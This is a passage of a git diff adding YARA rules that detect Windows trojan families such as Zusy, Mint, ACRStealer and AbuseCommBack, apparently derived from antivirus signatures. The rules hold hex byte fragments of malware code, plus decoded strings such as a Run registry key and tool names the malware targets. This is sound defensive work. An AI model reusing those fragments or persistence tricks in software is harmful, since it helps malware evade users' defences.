c8 88 0c 02 8d 45 a8 50 8d 45 ac 50 6a 02 } //25 + condition: + ((#a_01_0 & 1)*5+(#a_01_1 & 1)*15+(#a_01_2 & 1)*10+(#a_01_3 & 1)*25) >=55 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zusy/Trojan_Win32_Zusy_PGC_MTB.yar b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_PGC_MTB.yar new file mode 100644 index 0000000000..f09a907994 --- /dev/null +++ b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_PGC_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Zusy_PGC_MTB{ + meta: + description = "Trojan:Win32/Zusy.PGC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_01_0 = {2e 74 65 78 74 00 00 00 10 6f 00 00 00 10 00 00 00 70 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 e0 } //1 + $a_03_1 = {2e 72 64 61 74 61 00 00 34 6b 07 00 00 ?? 00 00 00 6c 07 00 00 7a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 } //4 + condition: + ((#a_01_0 & 1)*1+(#a_03_1 & 1)*4) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zusy/Trojan_Win32_Zusy_PGS_MTB.yar b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_PGS_MTB.yar new file mode 100644 index 0000000000..19e19b8d2d --- /dev/null +++ b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_PGS_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Zusy_PGS_MTB{ + meta: + description = "Trojan:Win32/Zusy.PGS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {21 86 72 3c bd 47 2b a2 7c 1c b3 63 39 86 72 24 bd 47 33 a2 7c 04 b3 63 31 86 72 2c bd 47 3b a2 7c 0c b3 23 bf 05 fb 24 } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zusy/Trojan_Win32_Zusy_PGY_MTB.yar b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_PGY_MTB.yar index aff48f137f..7cda4425cc 100644 --- a/Trojan/Win32/Zusy/Trojan_Win32_Zusy_PGY_MTB.yar +++ b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_PGY_MTB.yar @@ -3,6 +3,17 @@ rule Trojan_Win32_Zusy_PGY_MTB{ meta: description = "Trojan:Win32/Zusy.PGY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + strings : + $a_01_0 = {83 f2 55 48 83 c0 01 88 50 ff 0f b6 10 84 d2 75 ef } //5 + $a_01_1 = {83 f1 55 48 83 c2 01 88 4a ff 0f b6 0a 84 c9 75 ef } //5 + condition: + ((#a_01_0 & 1)*5+(#a_01_1 & 1)*5) >=5 + +} +rule Trojan_Win32_Zusy_PGY_MTB_2{ + meta: + description = "Trojan:Win32/Zusy.PGY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + strings : $a_01_0 = {77 00 69 00 6e 00 73 00 76 00 63 00 2e 00 65 00 78 00 65 } //1 $a_01_1 = {8b f9 89 7d f0 8b 75 08 33 db 89 1f 89 5f 04 89 5f 08 8b 4e 0c 89 4f 0c 8b 01 ff 50 04 89 5d fc 8b 36 85 f6 } //4 diff --git a/Trojan/Win32/Zusy/Trojan_Win32_Zusy_PGZY_MTB.yar b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_PGZY_MTB.yar new file mode 100644 index 0000000000..b8eacb22c7 --- /dev/null +++ b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_PGZY_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Zusy_PGZY_MTB{ + meta: + description = "Trojan:Win32/Zusy.PGZY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {39 db 74 01 ea 31 ?? ?? ?? 81 c3 04 00 00 00 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zusy/Trojan_Win32_Zusy_PGZ_MTB.yar b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_PGZ_MTB.yar new file mode 100644 index 0000000000..37826497e1 --- /dev/null +++ b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_PGZ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Zusy_PGZ_MTB{ + meta: + description = "Trojan:Win32/Zusy.PGZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {31 3b 09 c8 81 c3 04 00 00 00 46 46 39 d3 75 eb } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zusy/Trojan_Win32_Zusy_PWR_MTB.yar b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_PWR_MTB.yar new file mode 100644 index 0000000000..3af3abd00c --- /dev/null +++ b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_PWR_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Zusy_PWR_MTB{ + meta: + description = "Trojan:Win32/Zusy.PWR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {56 8b 75 10 8b c1 83 e0 1f 8a 04 30 30 04 0a 41 3b 4d 0c 72 } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zusy/Trojan_Win32_Zusy_SCP_MTB.yar b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_SCP_MTB.yar new file mode 100644 index 0000000000..5cb9fa2508 --- /dev/null +++ b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_SCP_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Zusy_SCP_MTB{ + meta: + description = "Trojan:Win32/Zusy.SCP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {20 20 20 00 20 20 20 20 00 50 06 00 00 10 00 00 00 bc 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 c9 30 00 00 60 06 00 00 bc 25 00 00 cc 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zusy/Trojan_Win32_Zusy_SPDH_MTB.yar b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_SPDH_MTB.yar new file mode 100644 index 0000000000..7c82e18bbb --- /dev/null +++ b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_SPDH_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Zusy_SPDH_MTB{ + meta: + description = "Trojan:Win32/Zusy.SPDH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {e8 29 16 00 00 83 ec 0c 89 c3 c7 44 24 04 ?? ?? ?? ?? 89 04 24 e8 d4 13 00 00 83 ec 08 89 c6 85 c0 0f 85 ?? ?? ?? ?? c7 04 24 ?? ?? ?? ?? e8 ?? ?? ?? ?? 83 ec 04 66 85 c0 75 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zusy/Trojan_Win32_Zusy_SXD_MTB.yar b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_SXD_MTB.yar new file mode 100644 index 0000000000..cb436e4d12 --- /dev/null +++ b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_SXD_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Zusy_SXD_MTB{ + meta: + description = "Trojan:Win32/Zusy.SXD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {8b fe 8b 36 66 83 7f 2e 00 74 23 8b 4f 30 85 c9 74 1c 51 8d 94 24 14 02 00 00 e8 ?? ?? ?? ?? 8d 94 24 10 02 00 00 51 8b ca e8 ?? ?? ?? ?? 51 8d 54 24 14 8d 8c 24 14 02 00 00 e8 ?? ?? ?? ?? 85 c0 74 08 3b f3 75 b9 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zusy/Trojan_Win32_Zusy_SXE_MTB.yar b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_SXE_MTB.yar new file mode 100644 index 0000000000..788a94eed4 --- /dev/null +++ b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_SXE_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_Win32_Zusy_SXE_MTB{ + meta: + description = "Trojan:Win32/Zusy.SXE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 06 00 00 " + + strings : + $a_01_0 = {33 f6 90 8b 54 b4 14 8b 44 24 10 8d 4c 24 0c } //5 + $a_80_1 = {47 33 54 20 57 49 4e 44 30 57 53 20 44 33 46 33 4e 44 33 52 20 4e 33 58 54 20 54 49 4d 33 21 } //G3T WIND0WS D3F3ND3R N3XT TIM3! 3 + $a_80_2 = {74 61 73 6b 6d 67 72 2e 65 78 65 } //taskmgr.exe 1 + $a_80_3 = {6d 73 63 6f 6e 66 69 67 2e 65 78 65 } //msconfig.exe 1 + $a_80_4 = {73 68 75 74 64 6f 77 6e 2e 65 78 65 } //shutdown.exe 1 + $a_80_5 = {74 61 73 6b 6b 69 6c 6c 2e 65 78 65 } //taskkill.exe 1 + condition: + ((#a_01_0 & 1)*5+(#a_80_1 & 1)*3+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1) >=12 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zusy/Trojan_Win32_Zusy_SYU_MTB.yar b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_SYU_MTB.yar new file mode 100644 index 0000000000..6133306e8e --- /dev/null +++ b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_SYU_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Zusy_SYU_MTB{ + meta: + description = "Trojan:Win32/Zusy.SYU!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {8b 8d 20 fe ff ff 83 c1 01 89 8d 20 fe ff ff 81 bd 20 fe ff ff 30 75 00 00 7d 65 e8 80 00 00 00 99 b9 fe 00 00 00 f7 f9 52 e8 72 00 00 00 99 b9 fe 00 00 00 f7 f9 52 8b 95 24 fe ff ff 52 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/mint/Trojan_Win32_Mint_AC_MTB.yar b/Trojan/Win32/mint/Trojan_Win32_Mint_AC_MTB.yar new file mode 100644 index 0000000000..b982b28b8e --- /dev/null +++ b/Trojan/Win32/mint/Trojan_Win32_Mint_AC_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Mint_AC_MTB{ + meta: + description = "Trojan:Win32/Mint.AC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {33 c0 89 08 50 45 43 6f 6d 70 61 63 74 32 00 00 4c 6a 00 8b 4f 0e a3 00 4c 6a 00 8b 09 62 8b 5d 40 e1 6d } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/mint/Trojan_Win32_Mint_AE_MTB.yar b/Trojan/Win32/mint/Trojan_Win32_Mint_AE_MTB.yar new file mode 100644 index 0000000000..aa9450741c --- /dev/null +++ b/Trojan/Win32/mint/Trojan_Win32_Mint_AE_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Mint_AE_MTB{ + meta: + description = "Trojan:Win32/Mint.AE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_03_0 = {01 d0 c7 00 5c 35 6b 69 c7 40 04 64 52 6f 30 c7 40 08 74 2e 65 78 66 c7 40 0c 65 00 c7 44 24 08 00 00 00 00 8d 85 ?? ?? ff ff 89 44 24 04 8d 85 } //1 + $a_00_1 = {53 6f 66 74 77 61 72 65 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 52 75 6e } //1 Software\Microsoft\Windows\CurrentVersion\Run + condition: + ((#a_03_0 & 1)*1+(#a_00_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/mint/Trojan_Win32_Mint_AF_MTB.yar b/Trojan/Win32/mint/Trojan_Win32_Mint_AF_MTB.yar new file mode 100644 index 0000000000..cdaa5728c3 --- /dev/null +++ b/Trojan/Win32/mint/Trojan_Win32_Mint_AF_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Mint_AF_MTB{ + meta: + description = "Trojan:Win32/Mint.AF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {66 89 8d 58 8b fa ff c6 85 4c ff ff ff 55 c6 85 4d ff ff ff 8b c6 85 4e ff ff ff ec c6 85 4f ff ff ff 8b c6 85 50 ff ff ff 55 c6 85 51 ff ff ff 08 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/ACRStealer/Trojan_Win64_ACRStealer_ETL_MTB.yar b/Trojan/Win64/ACRStealer/Trojan_Win64_ACRStealer_ETL_MTB.yar new file mode 100644 index 0000000000..2b345bb1fb --- /dev/null +++ b/Trojan/Win64/ACRStealer/Trojan_Win64_ACRStealer_ETL_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_ACRStealer_ETL_MTB{ + meta: + description = "Trojan:Win64/ACRStealer.ETL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {48 89 44 24 20 48 c7 40 10 12 00 00 00 48 8d 0d f8 a0 01 00 48 89 48 08 48 8b 4c 24 38 48 89 4c 24 30 48 8d 05 40 8d 00 00 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_JL.yar b/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_JL.yar new file mode 100644 index 0000000000..0ed61706f4 --- /dev/null +++ b/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_JL.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_AbuseCommBack_JL{ + meta: + description = "Trojan:Win64/AbuseCommBack.JL,SIGNATURE_TYPE_PEHSTR,01 00 01 00 03 00 00 " + + strings : + $a_01_0 = {3c 00 70 00 3e 00 30 00 43 00 38 00 45 00 35 00 42 00 34 00 35 00 43 00 35 00 37 00 41 00 45 00 32 00 34 00 34 00 45 00 39 00 43 00 39 00 30 00 34 00 43 00 35 00 42 00 43 00 37 00 34 00 46 00 37 00 33 00 33 00 30 00 36 00 39 00 33 00 37 00 34 00 36 00 39 00 44 00 39 00 43 00 45 00 41 00 32 00 32 00 35 00 34 00 31 00 43 00 41 00 36 00 39 00 41 00 43 00 31 00 36 00 32 00 42 00 38 00 44 00 34 00 32 00 3c 00 2f 00 70 00 3e 00 } //1

0C8E5B45C57AE244E9C904C5BC74F73306937469D9CEA22541CA69AC162B8D42

+ $a_01_1 = {30 43 38 45 35 42 34 35 43 35 37 41 45 32 34 34 45 39 43 39 30 34 43 35 42 43 37 34 46 37 33 33 30 36 39 33 37 34 36 39 44 39 43 45 41 32 32 35 34 31 43 41 36 39 41 43 31 36 32 42 38 44 34 32 00 00 00 00 00 00 00 00 } //1 + $a_01_2 = {74 61 62 6c 65 69 64 30 43 38 45 35 42 34 35 43 35 37 41 45 32 34 34 45 39 43 39 30 34 43 35 42 43 37 34 46 37 33 33 30 36 39 33 37 34 36 39 44 39 43 45 41 32 32 35 34 31 43 41 36 39 41 43 31 36 32 42 38 44 34 32 69 64 } //1 tableid0C8E5B45C57AE244E9C904C5BC74F73306937469D9CEA22541CA69AC162B8D42id + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_JM.yar b/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_JM.yar new file mode 100644 index 0000000000..934a6e2f41 --- /dev/null +++ b/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_JM.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_AbuseCommBack_JM{ + meta: + description = "Trojan:Win64/AbuseCommBack.JM,SIGNATURE_TYPE_PEHSTR,01 00 01 00 03 00 00 " + + strings : + $a_01_0 = {3c 00 70 00 3e 00 45 00 38 00 34 00 38 00 31 00 42 00 36 00 45 00 31 00 34 00 39 00 38 00 36 00 32 00 45 00 45 00 45 00 41 00 37 00 39 00 36 00 36 00 38 00 45 00 42 00 42 00 43 00 35 00 30 00 42 00 39 00 36 00 41 00 36 00 42 00 36 00 35 00 32 00 39 00 43 00 35 00 44 00 44 00 44 00 39 00 30 00 35 00 34 00 39 00 31 00 45 00 32 00 46 00 38 00 33 00 38 00 45 00 46 00 37 00 44 00 31 00 37 00 34 00 46 00 3c 00 2f 00 70 00 3e 00 } //1

E8481B6E149862EEEA79668EBBC50B96A6B6529C5DDD905491E2F838EF7D174F

+ $a_01_1 = {45 38 34 38 31 42 36 45 31 34 39 38 36 32 45 45 45 41 37 39 36 36 38 45 42 42 43 35 30 42 39 36 41 36 42 36 35 32 39 43 35 44 44 44 39 30 35 34 39 31 45 32 46 38 33 38 45 46 37 44 31 37 34 46 00 00 00 00 00 00 00 00 } //1 + $a_01_2 = {74 61 62 6c 65 69 64 45 38 34 38 31 42 36 45 31 34 39 38 36 32 45 45 45 41 37 39 36 36 38 45 42 42 43 35 30 42 39 36 41 36 42 36 35 32 39 43 35 44 44 44 39 30 35 34 39 31 45 32 46 38 33 38 45 46 37 44 31 37 34 46 69 64 } //1 tableidE8481B6E149862EEEA79668EBBC50B96A6B6529C5DDD905491E2F838EF7D174Fid + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_JN.yar b/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_JN.yar new file mode 100644 index 0000000000..c0d7dda661 --- /dev/null +++ b/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_JN.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_AbuseCommBack_JN{ + meta: + description = "Trojan:Win64/AbuseCommBack.JN,SIGNATURE_TYPE_PEHSTR,01 00 01 00 03 00 00 " + + strings : + $a_01_0 = {3c 00 70 00 3e 00 39 00 44 00 39 00 37 00 46 00 31 00 36 00 36 00 37 00 33 00 30 00 46 00 38 00 36 00 35 00 46 00 37 00 39 00 33 00 45 00 32 00 45 00 41 00 30 00 37 00 42 00 31 00 37 00 33 00 43 00 37 00 34 00 32 00 41 00 36 00 33 00 30 00 32 00 38 00 37 00 39 00 44 00 45 00 31 00 42 00 30 00 42 00 42 00 42 00 30 00 33 00 38 00 31 00 37 00 41 00 35 00 41 00 30 00 34 00 42 00 35 00 37 00 32 00 46 00 3c 00 2f 00 70 00 3e 00 } //1

9D97F166730F865F793E2EA07B173C742A6302879DE1B0BBB03817A5A04B572F

+ $a_01_1 = {39 44 39 37 46 31 36 36 37 33 30 46 38 36 35 46 37 39 33 45 32 45 41 30 37 42 31 37 33 43 37 34 32 41 36 33 30 32 38 37 39 44 45 31 42 30 42 42 42 30 33 38 31 37 41 35 41 30 34 42 35 37 32 46 00 00 00 00 00 00 00 00 } //1 + $a_01_2 = {74 61 62 6c 65 69 64 39 44 39 37 46 31 36 36 37 33 30 46 38 36 35 46 37 39 33 45 32 45 41 30 37 42 31 37 33 43 37 34 32 41 36 33 30 32 38 37 39 44 45 31 42 30 42 42 42 30 33 38 31 37 41 35 41 30 34 42 35 37 32 46 69 64 } //1 tableid9D97F166730F865F793E2EA07B173C742A6302879DE1B0BBB03817A5A04B572Fid + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_JO.yar b/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_JO.yar new file mode 100644 index 0000000000..fbc043c6e9 --- /dev/null +++ b/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_JO.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_AbuseCommBack_JO{ + meta: + description = "Trojan:Win64/AbuseCommBack.JO,SIGNATURE_TYPE_PEHSTR,01 00 01 00 03 00 00 " + + strings : + $a_01_0 = {3c 00 70 00 3e 00 42 00 42 00 46 00 37 00 37 00 46 00 30 00 34 00 36 00 31 00 41 00 45 00 45 00 31 00 35 00 31 00 35 00 32 00 39 00 45 00 43 00 37 00 37 00 46 00 42 00 46 00 44 00 33 00 38 00 44 00 35 00 38 00 31 00 38 00 41 00 41 00 45 00 44 00 31 00 44 00 43 00 36 00 41 00 39 00 45 00 36 00 41 00 44 00 36 00 35 00 44 00 39 00 36 00 37 00 31 00 37 00 34 00 35 00 33 00 42 00 37 00 39 00 32 00 31 00 3c 00 2f 00 70 00 3e 00 } //1

BBF77F0461AEE151529EC77FBFD38D5818AAED1DC6A9E6AD65D96717453B7921

+ $a_01_1 = {42 42 46 37 37 46 30 34 36 31 41 45 45 31 35 31 35 32 39 45 43 37 37 46 42 46 44 33 38 44 35 38 31 38 41 41 45 44 31 44 43 36 41 39 45 36 41 44 36 35 44 39 36 37 31 37 34 35 33 42 37 39 32 31 00 00 00 00 00 00 00 00 } //1 + $a_01_2 = {74 61 62 6c 65 69 64 42 42 46 37 37 46 30 34 36 31 41 45 45 31 35 31 35 32 39 45 43 37 37 46 42 46 44 33 38 44 35 38 31 38 41 41 45 44 31 44 43 36 41 39 45 36 41 44 36 35 44 39 36 37 31 37 34 35 33 42 37 39 32 31 69 64 } //1 tableidBBF77F0461AEE151529EC77FBFD38D5818AAED1DC6A9E6AD65D96717453B7921id + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_JP.yar b/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_JP.yar new file mode 100644 index 0000000000..c10e7e32e9 --- /dev/null +++ b/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_JP.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_AbuseCommBack_JP{ + meta: + description = "Trojan:Win64/AbuseCommBack.JP,SIGNATURE_TYPE_PEHSTR,01 00 01 00 03 00 00 " + + strings : + $a_01_0 = {3c 00 70 00 3e 00 36 00 34 00 34 00 44 00 38 00 34 00 31 00 36 00 45 00 31 00 36 00 39 00 35 00 44 00 43 00 39 00 38 00 35 00 39 00 33 00 44 00 46 00 42 00 35 00 45 00 35 00 35 00 43 00 46 00 35 00 30 00 46 00 32 00 30 00 39 00 33 00 32 00 37 00 36 00 36 00 35 00 44 00 32 00 38 00 36 00 35 00 35 00 31 00 36 00 34 00 35 00 31 00 31 00 45 00 32 00 34 00 38 00 32 00 44 00 30 00 46 00 38 00 30 00 42 00 3c 00 2f 00 70 00 3e 00 } //1

644D8416E1695DC98593DFB5E55CF50F209327665D28655164511E2482D0F80B

+ $a_01_1 = {36 34 34 44 38 34 31 36 45 31 36 39 35 44 43 39 38 35 39 33 44 46 42 35 45 35 35 43 46 35 30 46 32 30 39 33 32 37 36 36 35 44 32 38 36 35 35 31 36 34 35 31 31 45 32 34 38 32 44 30 46 38 30 42 00 00 00 00 00 00 00 00 } //1 + $a_01_2 = {74 61 62 6c 65 69 64 36 34 34 44 38 34 31 36 45 31 36 39 35 44 43 39 38 35 39 33 44 46 42 35 45 35 35 43 46 35 30 46 32 30 39 33 32 37 36 36 35 44 32 38 36 35 35 31 36 34 35 31 31 45 32 34 38 32 44 30 46 38 30 42 69 64 } //1 tableid644D8416E1695DC98593DFB5E55CF50F209327665D28655164511E2482D0F80Bid + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_JQ.yar b/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_JQ.yar new file mode 100644 index 0000000000..a9ebe95893 --- /dev/null +++ b/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_JQ.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_AbuseCommBack_JQ{ + meta: + description = "Trojan:Win64/AbuseCommBack.JQ,SIGNATURE_TYPE_PEHSTR,01 00 01 00 03 00 00 " + + strings : + $a_01_0 = {3c 00 70 00 3e 00 41 00 46 00 39 00 43 00 34 00 37 00 32 00 35 00 41 00 34 00 33 00 34 00 34 00 39 00 30 00 39 00 32 00 33 00 41 00 39 00 46 00 34 00 43 00 33 00 32 00 42 00 35 00 46 00 39 00 30 00 30 00 33 00 45 00 44 00 37 00 37 00 34 00 32 00 38 00 41 00 44 00 38 00 32 00 41 00 46 00 38 00 36 00 45 00 37 00 35 00 37 00 31 00 32 00 30 00 46 00 37 00 34 00 33 00 41 00 39 00 36 00 44 00 32 00 38 00 3c 00 2f 00 70 00 3e 00 } //1

AF9C4725A434490923A9F4C32B5F9003ED77428AD82AF86E757120F743A96D28

+ $a_01_1 = {41 46 39 43 34 37 32 35 41 34 33 34 34 39 30 39 32 33 41 39 46 34 43 33 32 42 35 46 39 30 30 33 45 44 37 37 34 32 38 41 44 38 32 41 46 38 36 45 37 35 37 31 32 30 46 37 34 33 41 39 36 44 32 38 00 00 00 00 00 00 00 00 } //1 + $a_01_2 = {74 61 62 6c 65 69 64 41 46 39 43 34 37 32 35 41 34 33 34 34 39 30 39 32 33 41 39 46 34 43 33 32 42 35 46 39 30 30 33 45 44 37 37 34 32 38 41 44 38 32 41 46 38 36 45 37 35 37 31 32 30 46 37 34 33 41 39 36 44 32 38 69 64 } //1 tableidAF9C4725A434490923A9F4C32B5F9003ED77428AD82AF86E757120F743A96D28id + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_JR.yar b/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_JR.yar new file mode 100644 index 0000000000..c94018575f --- /dev/null +++ b/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_JR.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_AbuseCommBack_JR{ + meta: + description = "Trojan:Win64/AbuseCommBack.JR,SIGNATURE_TYPE_PEHSTR,01 00 01 00 03 00 00 " + + strings : + $a_01_0 = {3c 00 70 00 3e 00 44 00 43 00 39 00 44 00 37 00 30 00 39 00 42 00 44 00 30 00 33 00 34 00 41 00 37 00 43 00 43 00 36 00 42 00 45 00 30 00 32 00 45 00 35 00 38 00 45 00 31 00 31 00 35 00 39 00 42 00 37 00 32 00 34 00 46 00 42 00 34 00 41 00 37 00 35 00 42 00 42 00 44 00 44 00 34 00 37 00 44 00 35 00 33 00 43 00 46 00 46 00 38 00 36 00 37 00 32 00 34 00 41 00 36 00 30 00 42 00 42 00 32 00 32 00 33 00 3c 00 2f 00 70 00 3e 00 } //1

DC9D709BD034A7CC6BE02E58E1159B724FB4A75BBDD47D53CFF86724A60BB223

+ $a_01_1 = {44 43 39 44 37 30 39 42 44 30 33 34 41 37 43 43 36 42 45 30 32 45 35 38 45 31 31 35 39 42 37 32 34 46 42 34 41 37 35 42 42 44 44 34 37 44 35 33 43 46 46 38 36 37 32 34 41 36 30 42 42 32 32 33 00 00 00 00 00 00 00 00 } //1 + $a_01_2 = {74 61 62 6c 65 69 64 44 43 39 44 37 30 39 42 44 30 33 34 41 37 43 43 36 42 45 30 32 45 35 38 45 31 31 35 39 42 37 32 34 46 42 34 41 37 35 42 42 44 44 34 37 44 35 33 43 46 46 38 36 37 32 34 41 36 30 42 42 32 32 33 69 64 } //1 tableidDC9D709BD034A7CC6BE02E58E1159B724FB4A75BBDD47D53CFF86724A60BB223id + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_JS.yar b/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_JS.yar new file mode 100644 index 0000000000..cec98eb456 --- /dev/null +++ b/Trojan/Win64/AbuseCommBack/Trojan_Win64_AbuseCommBack_JS.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_AbuseCommBack_JS{ + meta: + description = 